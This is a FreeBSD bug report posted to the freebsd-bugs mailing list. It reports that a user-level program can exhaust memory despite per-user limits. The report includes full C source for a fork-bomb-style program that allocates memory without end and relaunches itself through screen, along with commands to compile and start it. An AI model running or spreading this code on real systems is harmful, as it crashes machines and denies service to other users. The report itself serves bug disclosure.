kern/121949: Fork bomb, who can always stop system.

Michał Garbowski garbus at op.pl
Sat Mar 22 00:00:09 UTC 2008


>Number:         121949
>Category:       kern
>Synopsis:       Fork bomb, who can always stop system.
>Confidential:   no
>Severity:       serious
>Priority:       high
>Responsible:    freebsd-bugs
>State:          open
>Quarter:        
>Keywords:       
>Date-Required:
>Class:          sw-bug
>Submitter-Id:   current-users
>Arrival-Date:   Sat Mar 22 00:00:08 UTC 2008
>Closed-Date:
>Last-Modified:
>Originator:     Michał Garbowski
>Release:        7.0-STABLE FreeBSD 7.0-STABLE #1: Thu Mar 13 08:34:01 CET 2008
>Organization:
-
>Environment:
FreeBSD em 7.0-STABLE FreeBSD 7.0-STABLE #1: Thu Mar 13 08:34:01 CET 2008     root at em:/usr/obj/usr/src/sys/GENERIC  i386

>Description:
Program - fork bomb - like this:

forkbomb.c

 #include <stdlib.h> 
 #include <stdio.h> 
 
 int main(void); 
 int zonk(void); 
 
 int zonk (void) 
     { 
       int i=0;
       while (1) 
           { 
             char* zonk; 
             i=i+4; 
             zonk=malloc(i); 
             printf("%d\n",i); 
             system("ping -s 56 -c 1 localhost > /dev/null && screen -m -d -s ~/kaboom > /dev/null"); 
             wait(10); 
           } 
       return 0; 
     } 
 int main (void) 
     { 
       zonk(); 
       return 0; 
     }

Compiled as: cc -o ~/kaboom forkbomb.c

Can stop freebsd, with limist:

$ ulimit -a 
 core file size          (blocks, -c) 1024 
 data seg size           (kbytes, -d) 4096 
 file size               (blocks, -f) 1478656 
 max locked memory       (kbytes, -l) 4096 
 max memory size         (kbytes, -m) 8192 
 open files                      (-n) 2599 
 pipe size            (512 bytes, -p) 1 
 stack size              (kbytes, -s) 1024 
 cpu time               (seconds, -t) 86400 
 max user processes              (-u) 50 
 virtual memory          (kbytes, -v) 32768 

$ cat /etc/sysctl.conf 
 security.bsd.see_other_uids=0 
 kern.maxprocperuid=50 
 net.inet.tcp.msl=7500 
 net.inet.tcp.blackhole=2 
 net.inet.udp.blackhole=1 
 net.inet.icmp.icmplim=50

When I start:

screen -m -d -s ~/kaboom

fBSD gives memory in spite of all limits. Is there any limit, which can stop adding memory for that forks ?

My server has:
200 MB Ram memory,
128 MB Swap memory.

>How-To-Repeat:
I don't know.

>Fix:
I don't know.


>Release-Note:
>Audit-Trail:
>Unformatted:


More information about the freebsd-bugs mailing list